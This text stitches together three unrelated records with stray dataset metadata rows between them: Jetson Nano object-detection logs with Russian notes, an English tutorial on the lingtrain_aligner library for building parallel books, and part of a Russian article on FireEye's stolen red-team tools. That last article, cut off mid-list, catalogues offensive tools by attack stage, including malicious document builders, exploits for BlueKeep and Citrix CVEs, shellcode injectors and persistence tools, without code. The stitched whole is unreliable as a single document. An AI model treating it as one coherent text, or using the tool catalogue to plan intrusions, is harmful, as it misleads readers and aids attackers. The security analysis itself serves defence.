[gstreamer] [0] video/x-raw, format=(string)YUY2, width=(int)1920, height=(int)1080, pixel-aspect-ratio=(fraction)1/1, framerate=(fraction)5/1;
[gstreamer] [1] video/x-raw, format=(string)YUY2, width=(int)1600, height=(int)896, pixel-aspect-ratio=(fraction)1/1, framerate=(fraction){ 15/2, 5/1 };
[gstreamer] [2] video/x-raw, format=(string)YUY2, width=(int)1280, height=(int)720, pixel-aspect-ratio=(fraction)1/1, framerate=(fraction){ 10/1, 15/2, 5/1 };
[gstreamer] [3] video/x-raw, format=(string)YUY2, width=(int)960, height=(int)720, pixel-aspect-ratio=(fraction)1/1, framerate=(fraction){ 15/1, 10/1, 15/2, 5/1 };
[gstreamer] [4] video/x-raw, format=(string)YUY2, width=(int)1024, height=(int)576, pixel-aspect-ratio=(fraction)1/1, framerate=(fraction){ 15/1, 10/1, 15/2, 5/1 };
[gstreamer] [5] video/x-raw, format=(string)YUY2, width=(int)800, height=(int)600, pixel-aspect-ratio=(fraction)1/1, framerate=(fraction){ 24/1, 20/1, 15/1, 10/1, 15/2, 5/1 };
[gstreamer] [6] video/x-raw, format=(string)YUY2, width=(int)864, height=(int)480, pixel-aspect-ratio=(fraction)1/1, framerate=(fraction){ 24/1, 20/1, 15/1, 10/1, 15/2, 5/1 };
[gstreamer] [7] video/x-raw, format=(string)YUY2, width=(int)800, height=(int)448, pixel-aspect-ratio=(fraction)1/1, framerate=(fraction){ 30/1, 24/1, 20/1, 15/1, 10/1, 15/2, 5/1 };
[gstreamer] [8] video/x-raw, format=(string)YUY2, width=(int)640, height=(int)480, pixel-aspect-ratio=(fraction)1/1, framerate=(fraction){ 30/1, 24/1, 20/1, 15/1, 10/1, 15/2, 5/1 };
[gstreamer] [9] video/x-raw, format=(string)YUY2, width=(int)640, height=(int)360, pixel-aspect-ratio=(fraction)1/1, framerate=(fraction){ 30/1, 24/1, 20/1, 15/1, 10/1, 15/2, 5/1 };
[gstreamer] [10] video/x-raw, format=(string)YUY2, width=(int)432, height=(int)240, pixel-aspect-ratio=(fraction)1/1, framerate=(fraction){ 30/1, 24/1, 20/1, 15/1, 10/1, 15/2, 5/1 };
[gstreamer] [11] video/x-raw, format=(string)YUY2, width=(int)352, height=(int)288, pixel-aspect-ratio=(fraction)1/1, framerate=(fraction){ 30/1, 24/1, 20/1, 15/1, 10/1, 15/2, 5/1 };
[gstreamer] [12] video/x-raw, format=(string)YUY2, width=(int)320, height=(int)240, pixel-aspect-ratio=(fraction)1/1, framerate=(fraction){ 30/1, 24/1, 20/1, 15/1, 10/1, 15/2, 5/1 };
[gstreamer] [13] video/x-raw, format=(string)YUY2, width=(int)176, height=(int)144, pixel-aspect-ratio=(fraction)1/1, framerate=(fraction){ 30/1, 24/1, 20/1, 15/1, 10/1, 15/2, 5/1 };
[gstreamer] [14] video/x-raw, format=(string)YUY2, width=(int)160, height=(int)120, pixel-aspect-ratio=(fraction)1/1, framerate=(fraction){ 30/1, 24/1, 20/1, 15/1, 10/1, 15/2, 5/1 };
[gstreamer] [15] image/jpeg, width=(int)1920, height=(int)1080, pixel-aspect-ratio=(fraction)1/1, framerate=(fraction){ 30/1, 24/1, 20/1, 15/1, 10/1, 15/2, 5/1 };
[gstreamer] [16] image/jpeg, width=(int)1600, height=(int)896, pixel-aspect-ratio=(fraction)1/1, framerate=(fraction){ 30/1, 24/1, 20/1, 15/1, 10/1, 15/2, 5/1 };
[gstreamer] [17] image/jpeg, width=(int)1280, height=(int)720, pixel-aspect-ratio=(fraction)1/1, framerate=(fraction){ 30/1, 24/1, 20/1, 15/1, 10/1, 15/2, 5/1 };
[gstreamer] [18] image/jpeg, width=(int)960, height=(int)720, pixel-aspect-ratio=(fraction)1/1, framerate=(fraction){ 30/1, 24/1, 20/1, 15/1, 10/1, 15/2, 5/1 };
[gstreamer] [19] image/jpeg, width=(int)1024, height=(int)576, pixel-aspect-ratio=(fraction)1/1, framerate=(fraction){ 30/1, 24/1, 20/1, 15/1, 10/1, 15/2, 5/1 };
[gstreamer] [20] image/jpeg, width=(int)800, height=(int)600, pixel-aspect-ratio=(fraction)1/1, framerate=(fraction){ 30/1, 24/1, 20/1, 15/1, 10/1, 15/2, 5/1 };
[gstreamer] [21] image/jpeg, width=(int)864, height=(int)480, pixel-aspect-ratio=(fraction)1/1, framerate=(fraction){ 30/1, 24/1, 20/1, 15/1, 10/1, 15/2, 5/1 };
[gstreamer] [22] image/jpeg, width=(int)800, height=(int)448, pixel-aspect-ratio=(fraction)1/1, framerate=(fraction){ 30/1, 24/1, 20/1, 15/1, 10/1, 15/2, 5/1 };
[gstreamer] [23] image/jpeg, width=(int)640, height=(int)480, pixel-aspect-ratio=(fraction)1/1, framerate=(fraction){ 30/1, 24/1, 20/1, 15/1, 10/1, 15/2, 5/1 };
[gstreamer] [24] image/jpeg, width=(int)640, height=(int)360, pixel-aspect-ratio=(fraction)1/1, framerate=(fraction){ 30/1, 24/1, 20/1, 15/1, 10/1, 15/2, 5/1 };
[gstreamer] [25] image/jpeg, width=(int)432, height=(int)240, pixel-aspect-ratio=(fraction)1/1, framerate=(fraction){ 30/1, 24/1, 20/1, 15/1, 10/1, 15/2, 5/1 };
[gstreamer] [26] image/jpeg, width=(int)352, height=(int)288, pixel-aspect-ratio=(fraction)1/1, framerate=(fraction){ 30/1, 24/1, 20/1, 15/1, 10/1, 15/2, 5/1 };
[gstreamer] [27] image/jpeg, width=(int)320, height=(int)240, pixel-aspect-ratio=(fraction)1/1, framerate=(fraction){ 30/1, 24/1, 20/1, 15/1, 10/1, 15/2, 5/1 };
[gstreamer] [28] image/jpeg, width=(int)176, height=(int)144, pixel-aspect-ratio=(fraction)1/1, framerate=(fraction){ 30/1, 24/1, 20/1, 15/1, 10/1, 15/2, 5/1 };
[gstreamer] [29] image/jpeg, width=(int)160, height=(int)120, pixel-aspect-ratio=(fraction)1/1, framerate=(fraction){ 30/1, 24/1, 20/1, 15/1, 10/1, 15/2, 5/1 };
[gstreamer] gstCamera -- selected device profile: codec=mjpeg format=unknown width=1280 height=720
[gstreamer] gstCamera pipeline string:
[gstreamer] v4l2src device=/dev/video0 ! image/jpeg, width=(int)1280, height=(int)720 ! jpegdec ! video/x-raw ! appsink name=mysink
[gstreamer] gstCamera successfully created device v4l2:///dev/video0
[gstreamer] opening gstCamera for streaming, transitioning pipeline to GST\_STATE\_PLAYING
[gstreamer] gstreamer changed state from NULL to READY ==> mysink
[gstreamer] gstreamer changed state from NULL to READY ==> capsfilter1
[gstreamer] gstreamer changed state from NULL to READY ==> jpegdec0
[gstreamer] gstreamer changed state from NULL to READY ==> capsfilter0
[gstreamer] gstreamer changed state from NULL to READY ==> v4l2src0
[gstreamer] gstreamer changed state from NULL to READY ==> pipeline0
[gstreamer] gstreamer changed state from READY to PAUSED ==> capsfilter1
[gstreamer] gstreamer changed state from READY to PAUSED ==> jpegdec0
[gstreamer] gstreamer changed state from READY to PAUSED ==> capsfilter0
[gstreamer] gstreamer stream status CREATE ==> src
[gstreamer] gstreamer changed state from READY to PAUSED ==> v4l2src0
[gstreamer] gstreamer changed state from READY to PAUSED ==> pipeline0
[gstreamer] gstreamer stream status ENTER ==> src
[gstreamer] gstreamer message new-clock ==> pipeline0
[gstreamer] gstreamer message stream-start ==> pipeline0
[gstreamer] gstreamer changed state from PAUSED to PLAYING ==> capsfilter1
[gstreamer] gstreamer changed state from PAUSED to PLAYING ==> jpegdec0
[gstreamer] gstreamer changed state from PAUSED to PLAYING ==> capsfilter0
[gstreamer] gstreamer changed state from PAUSED to PLAYING ==> v4l2src0
[gstreamer] gstCamera -- onPreroll
[gstreamer] gstCamera -- map buffer size was less than max size (1382400 vs 1382407)
[gstreamer] gstCamera recieve caps: video/x-raw, format=(string)I420, width=(int)1280, height=(int)720, interlace-mode=(string)progressive, multiview-mode=(string)mono, multiview-flags=(GstVideoMultiviewFlagsSet)0:ffffffff:/right-view-first/left-flipped/left-flopped/right-flipped/right-flopped/half-aspect/mixed-mono, pixel-aspect-ratio=(fraction)1/1, chroma-site=(string)mpeg2, colorimetry=(string)1:4:0:0, framerate=(fraction)30/1
[gstreamer] gstCamera -- recieved first frame, codec=mjpeg format=i420 width=1280 height=720 size=1382407
RingBuffer -- allocated 4 buffers (1382407 bytes each, 5529628 bytes total)
[gstreamer] gstreamer changed state from READY to PAUSED ==> mysink
[gstreamer] gstreamer message async-done ==> pipeline0
[gstreamer] gstreamer changed state from PAUSED to PLAYING ==> mysink
[gstreamer] gstreamer changed state from PAUSED to PLAYING ==> pipeline0
RingBuffer -- allocated 4 buffers (14745600 bytes each, 58982400 bytes total)
jetson.inference -- detectNet loading build-in network 'ssd-mobilenet-v2'
detectNet -- loading detection network model from:
-- model networks/SSD-Mobilenet-v2/ssd\_mobilenet\_v2\_coco.uff
-- input\_blob 'Input'
-- output\_blob 'NMS'
-- output\_count 'NMS\_1'
-- class\_labels networks/SSD-Mobilenet-v2/ssd\_coco\_labels.txt
-- threshold 0.500000
-- batch\_size 1
[TRT] TensorRT version 7.1.3
[TRT] loading NVIDIA plugins…
[TRT] Registered plugin creator - ::GridAnchor\_TRT version 1
[TRT] Registered plugin creator - ::NMS\_TRT version 1
[TRT] Registered plugin creator - ::Reorg\_TRT version 1
[TRT] Registered plugin creator - ::Region\_TRT version 1
[TRT] Registered plugin creator - ::Clip\_TRT version 1
[TRT] Registered plugin creator - ::LReLU\_TRT version 1
[TRT] Registered plugin creator - ::PriorBox\_TRT version 1
[TRT] Registered plugin creator - ::Normalize\_TRT version 1
[TRT] Registered plugin creator - ::RPROI\_TRT version 1
[TRT] Registered plugin creator - ::BatchedNMS\_TRT version 1
[TRT] Could not register plugin creator - ::FlattenConcat\_TRT version 1
[TRT] Registered plugin creator - ::CropAndResize version 1
[TRT] Registered plugin creator - ::DetectionLayer\_TRT version 1
[TRT] Registered plugin creator - ::Proposal version 1
[TRT] Registered plugin creator - ::ProposalLayer\_TRT version 1
[TRT] Registered plugin creator - ::PyramidROIAlign\_TRT version 1
[TRT] Registered plugin creator - ::ResizeNearest\_TRT version 1
[TRT] Registered plugin creator - ::Split version 1
[TRT] Registered plugin creator - ::SpecialSlice\_TRT version 1
[TRT] Registered plugin creator - ::InstanceNormalization\_TRT version 1
[TRT] detected model format - UFF (extension '.uff')
[TRT] desired precision specified for GPU: FASTEST
[TRT] requested fasted precision for device GPU without providing valid calibrator, disabling INT8
[TRT] native precisions detected for GPU: FP32, FP16
[TRT] selecting fastest native precision for GPU: FP16
[TRT] attempting to open engine cache file /usr/local/bin/networks/SSD-Mobilenet-v2/ssd\_mobilenet\_v2\_coco.uff.1.1.7103.GPU.FP16.engine
[TRT] loading network plan from engine cache… /usr/local/bin/networks/SSD-Mobilenet-v2/ssd\_mobilenet\_v2\_coco.uff.1.1.7103.GPU.FP16.engine
[TRT] device GPU, loaded /usr/local/bin/networks/SSD-Mobilenet-v2/ssd\_mobilenet\_v2\_coco.uff
[TRT] Deserialize required 2384046 microseconds.
[TRT]
[TRT] CUDA engine context initialized on device GPU:
[TRT] -- layers 117
[TRT] -- maxBatchSize 1
[TRT] -- workspace 0
[TRT] -- deviceMemory 35449344
[TRT] -- bindings 3
[TRT] binding 0
-- index 0
-- name 'Input'
-- type FP32
-- in/out INPUT
-- # dims 3
-- dim #0 3 (SPATIAL)
-- dim #1 300 (SPATIAL)
-- dim #2 300 (SPATIAL)
[TRT] binding 1
-- index 1
-- name 'NMS'
-- type FP32
-- in/out OUTPUT
-- # dims 3
-- dim #0 1 (SPATIAL)
-- dim #1 100 (SPATIAL)
-- dim #2 7 (SPATIAL)
[TRT] binding 2
-- index 2
-- name 'NMS\_1'
-- type FP32
-- in/out OUTPUT
-- # dims 3
-- dim #0 1 (SPATIAL)
-- dim #1 1 (SPATIAL)
-- dim #2 1 (SPATIAL)
[TRT]
[TRT] binding to input 0 Input binding index: 0
[TRT] binding to input 0 Input dims (b=1 c=3 h=300 w=300) size=1080000
[TRT] binding to output 0 NMS binding index: 1
[TRT] binding to output 0 NMS dims (b=1 c=1 h=100 w=7) size=2800
[TRT] binding to output 1 NMS\_1 binding index: 2
[TRT] binding to output 1 NMS\_1 dims (b=1 c=1 h=1 w=1) size=4
[TRT]
[TRT] device GPU, /usr/local/bin/networks/SSD-Mobilenet-v2/ssd\_mobilenet\_v2\_coco.uff initialized.
[TRT] W = 7 H = 100 C = 1
[TRT] detectNet -- maximum bounding boxes: 100
[TRT] detectNet -- loaded 91 class info entries
[TRT] detectNet -- number of object classes: 91
detected 0 objects in image
[TRT] ------------------------------------------------
[TRT] Timing Report /usr/local/bin/networks/SSD-Mobilenet-v2/ssd\_mobilenet\_v2\_coco.uff
[TRT] ------------------------------------------------
[TRT] Pre-Process CPU 0.07802ms CUDA 0.48875ms
[TRT] Network CPU 45.52254ms CUDA 44.93750ms
[TRT] Post-Process CPU 0.03193ms CUDA 0.03177ms
[TRT] Total CPU 45.63248ms CUDA 45.45802ms
[TRT] ------------------------------------------------
[TRT] note -- when processing a single image, run 'sudo jetson\_clocks' before
to disable DVFS for more accurate profiling/timing measurements
[image] saved '/opt/demo/images/out\_kfy\_20201030195943.jpg' (1280x720, 4 channels)
[TRT] ------------------------------------------------
[TRT] Timing Report /usr/local/bin/networks/SSD-Mobilenet-v2/ssd\_mobilenet\_v2\_coco.uff
[TRT] ------------------------------------------------
[TRT] Pre-Process CPU 0.07802ms CUDA 0.48875ms
[TRT] Network CPU 45.52254ms CUDA 44.93750ms
[TRT] Post-Process CPU 0.03193ms CUDA 0.03177ms
[TRT] Total CPU 45.63248ms CUDA 45.45802ms
[TRT] ------------------------------------------------
[gstreamer] gstCamera -- stopping pipeline, transitioning to GST\_STATE\_NULL
[gstreamer] gstCamera -- pipeline stopped
---
Мы используем расширенный пример сценария, скрипт **detect.py**. Чтобы сделать снимок веб-камеры и классифицировать его: camera = jetson.utils.gstCamera(width, height, camera)
Модель работает достаточно быстро и дает нам те результаты и данные, которые нужно.
классификация изображения моделью на Jetson Nano 2GB**Ссылки:**
· <https://github.com/tspannhw/minifi-jetson-nano>
· <https://youtu.be/fIESu365Sb0>
· <https://developer.nvidia.com/blog/ultimate-starter-ai-computer-jetson-nano-2gb-developer-kit/> | https://habr.com/ru/post/543116/ | null | ru | null |
# Lingtrain Aligner. How to make parallel books for language learning. Part 1. Python and Colab version
If you're interested in learning new languages or teaching them, then you probably know such a way as parallel reading. It helps to immerse yourself in the context, increases the vocabulary, and allows you to enjoy the learning process. When it comes to reading, you most likely want to choose your favorite author, theme, or something familiar and this is often impossible if no one has published such a variant of a parallel book. It's becoming even worse when you're learning some cool language like Hungarian or Japanese.
Today we are taking a big step forward toward breaking this situation.
We will use the **lingtrain\_aligner** tool. It's an open-source project on Python which aims to help all the people eager to learn foreign languages. It's a part of the Lingtrain project, you can follow us on [Telegram](https://t.me/lingtrain_books), [Facebook](https://www.facebook.com/lingtra.in/) and [Instagram](https://www.instagram.com/lingtra.in/). Let's start!
Find the texts
--------------
At first, we should find two texts we want to align. Let's take two editions of "To Kill a Mockingbird" by Harper Lee, in Russian and the original one.
The first lines of the found texts look like this:
```
TO KILL A MOCKINGBIRD
by Harper Lee
DEDICATION
for Mr. Lee and Alice
in consideration of Love & Affection
Lawyers, I suppose, were children once.
Charles Lamb
PART ONE
1
When he was nearly thirteen, my brother Jem got his arm badly
broken at the elbow. When it healed, and Jem’s fears of never being
able to play football were assuaged, he was seldom self-conscious about
his injury. His left arm was somewhat shorter than his right; when he
stood or walked, the back of his hand was at right angles to his body,
his thumb parallel to his thigh. He couldn’t have cared less, so long as
he could pass and punt.
...
```
---
```
Харпер Ли
Убить пересмешника
Юристы, наверно, тоже когда-то были детьми.
Чарлз Лэм
ЧАСТЬ ПЕРВАЯ
1
Незадолго до того, как моему брату Джиму исполнилось тринадцать, у него
```
была сломана рука. Когда рука зажила и Джим перестал бояться, что не сможет
играть в футбол, он ее почти не стеснялся. Левая рука стала немного короче правой;
когда Джим стоял или ходил, ладонь была повернута к боку ребром. Но ему это
было все равно — лишь бы не мешало бегать и гонять мяч.
```
...
```
Extract parallel corpora
------------------------
The first step is to make a parallel corpus from our texts. Is a serious task, mainly because of the following reasons:
* Professional translators are kind of artists. They can translate one sentence as several and vice versa. They feel the language and can be very creative in the desire to convey the *meaning*.
* Some parts of the translated text can be missing.
* During extraction we need to save the paragraph structure somehow. Without it, we will not be able to create a solid and decorated book.
We will use the python **lingtrain\_aligner** library which I'm developing. Under the hood, it uses machine learning models (sentence-transformers, LaBSE, and others). Such models will transform sentences into dense vectors or **embeddings**. Embeddings are a very interesting way to catch a sense contained in a sentence. We can calculate a cosine distance between the vectors and interpret it as semantic similarity. The most powerful (and huge) model is LaBSE by Google. It supports over 100 languages.
Before we feed our texts into the tool we need to prepare them.
### Prepare the texts
#### Add the markup
I've made a simple markup language to extract the book structure right before the alignment. It's just a special kind of token that you need to add to the end of the sentence.
| Token | Purpose | Mode |
| --- | --- | --- |
| %%%%%title. | Title | Manual |
| %%%%%author. | Author | Manual |
| %%%%%h1. %%%%%h2. %%%%%h3. %%%%%h4. %%%%%h5. | Headings | Manual |
| %%%%%qtext. | Quote | Manual |
| %%%%%qname. | Text under the quote | Manual |
| %%%%%image. | Image | Manual |
| %%%%%translator. | Переводчик | Manual |
| %%%%%divider. | Divider | Manual |
| %%%%%. | New paragraph | Auto |
#### New paragraph token
This kind of token will be placed automatically following the rule:
* if the line ends with [.,:,!?] character and EOF (end of the line, '/n' char) we treat it as the end of the paragraph.
#### Text preprocessing
1. Delete unnecessary lines (publisher information, page numbers, notes, etc.).
2. Put labels for the author and the title.
3. Label the headings (H1 is the largest, H5 is the smallest). If the headers aren't needed, then just delete them.
4. Make sure that there are no lines in the text that end with a [.,:,!?] and aren't the end of a paragraph (otherwise the whole paragraph will be split into two parts).
Place the labels in accordance with the aforementioned rules. Empty lines do not play any role. You should get documents similar to these:
```
TO KILL A MOCKINGBIRD%%%%%title.
by Harper Lee%%%%%author.
Lawyers, I suppose, were children once.%%%%%qtext.
Charles Lamb%%%%%qname.
PART ONE%%%%%h1.
1%%%%%h2.
When he was nearly thirteen, my brother Jem got his arm badly
broken at the elbow. When it healed, and Jem’s fears of never being
able to play football were assuaged, he was seldom self-conscious about
his injury. His left arm was somewhat shorter than his right; when he
stood or walked, the back of his hand was at right angles to his body,
his thumb parallel to his thigh. He couldn’t have cared less, so long as
he could pass and punt.
...
```
---
```
Харпер Ли%%%%%author.
Убить пересмешника%%%%%title.
Юристы, наверно, тоже когда-то были детьми.%%%%%qtext.
Чарлз Лэм%%%%%qname.
ЧАСТЬ ПЕРВАЯ%%%%%h1.
1%%%%%h2.
Незадолго до того, как моему брату Джиму исполнилось тринадцать,
у него была сломана рука. Когда рука зажила и Джим перестал бояться,
что не сможет играть в футбол, он ее почти не стеснялся. Левая рука стала
немного короче правой; когда Джим стоял или ходил, ладонь была повернута к
боку ребром. Но ему это было все равно - лишь бы не мешало бегать и
гонять мяч.
...
```
Marked lines will be automatically extracted from the texts before alignment. They will be used when we will make a book.
### Align texts
#### Colab
We will do the whole process in the Google Colab notebook, so everyone can do the same for free without installing anything on his or her machine. I've prepared the Colab, it contains all the instructions.
[Colab version](https://colab.research.google.com/drive/1_ics0YzWg5qIZIPhA1X_Wbfg0XZzRO-p?usp=sharing)
Meanwhile, we will observe the alignment process in more detail.
#### Details
After installing the tool with this command:
```
pip install lingtrain-aligner
```
We are loading our texts, adding the paragraph tokens and splitting them into the sentences:
```
from lingtrain_aligner import preprocessor, splitter, aligner, resolver, reader, vis_helper
text1_input = "harper_lee_ru.txt"
text2_input = "harper_lee_en.txt"
with open(text1_input, "r", encoding="utf8") as input1:
text1 = input1.readlines()
with open(text2_input, "r", encoding="utf8") as input2:
text2 = input2.readlines()
db_path = "book.db"
lang_from = "ru"
lang_to = "en"
models = ["sentence_transformer_multilingual", "sentence_transformer_multilingual_labse"]
model_name = models[0]
text1_prepared = preprocessor.mark_paragraphs(text1)
text2_prepared = preprocessor.mark_paragraphs(text2)
splitted_from = splitter.split_by_sentences_wrapper(text1_prepared , lang_from, leave_marks=True)
splitted_to = splitter.split_by_sentences_wrapper(text2_prepared , lang_to, leave_marks=True)
```
\_db*path* is the heart of the alignment. It's an SQLite database that will hold information about the alignment and document structure. Also, note that we provided the language codes ("en" and "ru"). This means that some language-specific rules will be applied during the splitting. You can find all supported languages with this command:
```
splitter.get_supported_languages()
```
If your language is not here make an issue on GitHub or write in our group in telegram. You can also use the "**xx**" code to use some base rules for your text.
Now, when texts are split, let's load them into the database:
```
aligner.fill_db(db_path, splitted_from, splitted_to)
```
#### Primary alignment
Now we will align the texts. It's a batched process. Parts of texts size of *batch\_size* with some extra lines size of *window* will align together with the primary alignment algorithm.
```
batch_ids = [0,1,2,3]
aligner.align_db(db_path,
model_name,
batch_size=100,
window=30,
batch_ids=batch_ids,
save_pic=False,
embed_batch_size=50,
normalize_embeddings=True,
show_progress_bar=True
)
```
Let's see the result of the primary alignment. *vis\_helper* helps us to plot the alignment structure:
```
vis_helper.visualize_alignment_by_db(db_path,
output_path="alignment_vis.png",
lang_name_from=lang_from,
lang_name_to=lang_to,
batch_size=400,
size=(800,800),
plt_show=True
)
```
Not bad. But there are a lot of conflicts. Why? Consider the following reasons:
* Model has too many good variants. If the line is short (some kind of a chat or just a name) the model can find another similar line in the window and take it as a suitable choice.
* The right line is not in the search interval. Texts have different counts of sentences and the "*alignment axis*" can go beyond the window.
To handle the second problem you can use the *shift* parameter.
And to handle conflicts there is a special module called **resolver**.
### Resolve the conflicts
We can observe all the found conflicts using the following command:
```
conflicts_to_solve, rest = resolver.get_all_conflicts(db_path, min_chain_length=2, max_conflicts_len=6)
```
---
```
conflicts to solve: 46
total conflicts: 47
```
And some statistics:
```
resolver.get_statistics(conflicts_to_solve)
resolver.get_statistics(rest)
```
The most frequent conflicts are the size of '2:3' and '3:2'. It means that one of the sentences here was translated as two or vise versa.
```
resolver.show_conflict(db_path, conflicts_to_solve[10])
```
---
```
124 Дом Рэдли стоял в том месте, где улица к югу от нас описывает крутую дугу.
125 Если идти в ту сторону, кажется, вот—вот упрешься в их крыльцо.
126 Но тут тротуар поворачивает и огибает их участок.
122 The Radley Place jutted into a sharp curve beyond our house.
123 Walking south, one faced its porch; the sidewalk turned and ran beside the lot.
```
The most successful strategy that came into my mind is to resolve the conflicts iteratively. From smaller to bigger.
```
steps = 3
batch_id = -1 #all batches
for i in range(steps):
conflicts, rest = resolver.get_all_conflicts(db_path, min_chain_length=2+i, max_conflicts_len=6*(i+1), batch_id=batch_id)
resolver.resolve_all_conflicts(db_path, conflicts, model_name, show_logs=False)
vis_helper.visualize_alignment_by_db(db_path, output_path="img_test1.png", batch_size=400, size=(800,800), plt_show=True)
if len(rest) == 0:
break
```
Visualization after the first step:
And after the second:
Great! Now our *book.db* file holds the aligned texts along with the structure of the book (thanks to markup).
Create a book
-------------
The module called **reader** will help us to create a book.
```
from lingtrain_aligner import reader
paragraphs_from, paragraphs_to, meta = reader.get_paragraphs(db_path, direction="from")
```
With the *direction* parameter ["from", "to"] you can choose which paragraph structure is needed (the first text or the second).
Let's create it:
```
reader.create_book(paragraphs_from,
paragraphs_to,
meta,
output_path = "lingtrain.html"
)
```
And will see this as input:
It's a simple styled HTML page. I've added some styles to make it even useful for language learners! It's a *template* parameter.
```
reader.create_book(paragraphs_from,
paragraphs_to,
meta,
output_path = "lingtrain.html",
template="pastel_fill"
)
```
```
reader.create_book(paragraphs_from,
paragraphs_to,
meta,
output_path = f"lingtrain.html",
template="pastel_start"
)
```
### Custom styles
You can even use your own style. For example, let's highlight all even sentences in the book:
```
my_style = [
'{}',
'{"background": "#fafad2"}',
]
reader.create_book(paragraphs_from,
paragraphs_to,
meta,
output_path = f"lingtrain.html",
template="custom",
styles=my_style
)
```
You can use any applicable to span CSS styles:
```
my_style = [
'{"background": "linear-gradient(90deg, #FDEB71 0px, #fff 150px)", "border-radius": "15px"}',
'{"background": "linear-gradient(90deg, #ABDCFF 0px, #fff 150px)", "border-radius": "15px"}',
'{"background": "linear-gradient(90deg, #FEB692 0px, #fff 150px)", "border-radius": "15px"}',
'{"background": "linear-gradient(90deg, #CE9FFC 0px, #fff 150px)", "border-radius": "15px"}',
'{"background": "linear-gradient(90deg, #81FBB8 0px, #fff 150px)", "border-radius": "15px"}'
]
reader.create_book(paragraphs_from,
paragraphs_to,
meta,
output_path = f"lingtrain.html",
template="custom",
styles=my_style
)
```
I hope it will be helpful for all who love languages. Have fun!
Next time we will discuss multilingual books creation and use the UI tool which I'm working on. Stay tuned.
To be continued
---------------
It is an open-source project. You can take a part in it and find the code on ours [github page](https://github.com/averkij/lingtrain-aligner). Today's Colab is [here](https://colab.research.google.com/drive/1_ics0YzWg5qIZIPhA1X_Wbfg0XZzRO-p).
You can also [support the project](https://www.tinkoff.ru/collectmoney/crowd/averkiev.sergey7/wYn8f32996/) by making a donation.
### May the Language Force be with you. | https://habr.com/ru/post/586574/ | null | en | null |
# Украденное оружие FireEye
8 декабря компания FireEye сообщила, что в результате успешной атаки высококвалифицированной APT-группировке удалось получить доступ к инструментам, которые компания использовала как арсенал Red Team команды.
Невольно новость отсылает к 2017 году, когда в сеть попал инструментарий ЦРУ и АНБ для взлома инфраструктуры. Эти утечки подарили миру большое количество разнообразных утилит: от эксплойтов для домашних роутеров и Smart TV до серверов управления зараженными хостами. Наибольший резонанс произвел эксплоит EternalBlue, использовавшийся в шифровальщиках WannaCry, Petya, NotPetya, которые парализовали деятельность компаний по всему миру.
Возвращаясь к текущему кейсу, компания FireEye уверяет, что в составе утекших данных нет 0-day эксплойтов и инструментов эксплуатации неизвестных ранее техник. Также FireEye опубликовала на GitHub набор правил (YARA, Snort, OpenIOC, ClamAV) для детектирования утекшего инструментария.
На основе информации, предоставленной FireEye попробуем разобраться какой арсенал получили злоумышленники в ходе успешной атаки и удалось ли им расширить инструментарий какими-то принципиально новыми средствами.
Итак,
`git clone https://github.com/fireeye/red_team_tool_countermeasures`
Далее попробуем воссоздать инструментарий, которым пользуется Red Team команда FireEye на разных стадиях развития атаки. Будем рассматривать техники согласно классификатору MITRE ATT&CK
Предварительная подготовка вредоносной нагрузки (Resource Development)
----------------------------------------------------------------------
* **Matryoshka** – набор утилит для первоначального проникновения. Включает генератор вредоносной нагрузки, дроппер и загрузчик.
* **LNKSmasher** – утилита для генерации LNK-файлов с вредоносным содержимым. Может применяться для создания эксплойтов для LNK-уязвимостей.
* **[GadgetToJScript](https://github.com/med0x2e/GadgetToJScript)** – публичный проект, позволяющий внедрять .NET-сборки в сценарии VBS, VBA, JS, HTA.
* **Redflare** – фреймворк разработанный командой FireEye для проведения операций RedTeam. Фреймворк позволяет собирать вредоносный код для различных операционных систем
* **RESUMEPLEASE** – шаблон для создания документов Microsoft Office c вредоносными VBA (Visual Basic for Application) макросами.
* **SinfulOffice** – утилита для создания вредоносных документов Microsoft Office c внедренными OLE-объектами
* **WildChild** – утилита для создания вредоносных файлов HTA (HTML Application)
* **PrepShellCode** – утилита для подготовки шеллкода
Первоначальный доступ в инфраструктуру (Initial Access)
-------------------------------------------------------
Эксплойты, применяемые во вредоносных рассылках, требующие действий со стороны пользователей:
* **Expl-CVE-2017-11774** – эксплоит для уязвимости в Microsoft Outlook
Эксплоиты для уязвимостей в публичных сетевых сервисах:
* **Expl-CVE-2019-0708** – эксплоит для уязвимости в Microsoft Remote Desktop Services (RDS), также известной как BlueKeep.
* **Expl-CVE-2019-19781** – эксплоит для уязвимости в Citrix Application Delivery Controller (ADC) и Citrix Gateway
* **Expl-CVE-2019-8394** – эксплоит для уязвимости в Zoho ManageEngine ServiceDesk Plus (SDP)
Выполнение вредоносного кода (Execution)
----------------------------------------
* **[Cobalt Strike](https://www.cobaltstrike.com/)** – коммерческий фреймворк для постэксплуатации. Имеет модули для запуска различных команд.
* **DShell** – Windows-троян, написанный на языке D
* **DTRIM** – Модифицированная версия [SharpSploit](https://github.com/cobbr/SharpSploit) – фреймворка для выполнения широкого спектра постэксплуатационных действий. Реализованы функции запуска нативных windows-приложений, .Net-сборок, скриптов PowerShell, шеллкода напрямую.
* **[DueDLLigence](https://github.com/fireeye/DueDLLigence)** – публичный проект FireEye для подготовки DLL с внедренным шеллкодом.
* **Impacket-Obfuscation** – модифицированная версия популярного фреймворка [Impacket](https://github.com/SecureAuthCorp/impacket) для проведения атак в Windows-инфраструктуре. Имеет различные функции выполнения команд (PSExec, выполнение команд через Tack Scheduler и WMI)
* **In-MemoryCompilation** – утилита для компиляции вредоносного кода в памяти
* **TrimBishop** – утилита базируется на проекте [RuralBishop](https://github.com/rasta-mouse/RuralBishop), предназначена для выполнения шеллкода в контексте другого процесса. Утилита делает маппинг специализированной секции с шеллкодом в целевой процесс и создает suspended поток для выполнения кода.
* **C\_Sharp\_SectionInjection** – утилита для внедрения секций в PE-файл
Закрепление в инфраструктуре (Persistence)
------------------------------------------
* **[Cobalt Strike](https://www.cobaltstrike.com/)** – коммерческий фреймворк для постэксплуатации, при использовании совместно с расширением [StayKit](https://github.com/0xthirteen/StayKit) обретает набор методов закрепления (реестр, задачи планировщика, LNK, системный сервис, WMI)
* **Mofcomp** — Вредоносные файлы MOF (Managed Object Format) для регистрации записей в WMI. Используются как механизм закрепления.
* **SharPersist** – публично доступных проект FireEye для закрепления на Windows-хостах. В утилите реализованы различные методы закрепления: бэкдор в конфигурации KeePass, задача планировщика, дополнительное задание к существующей задаче планировщика, ярлык в папке автозапуска, SVN hook, сервис,
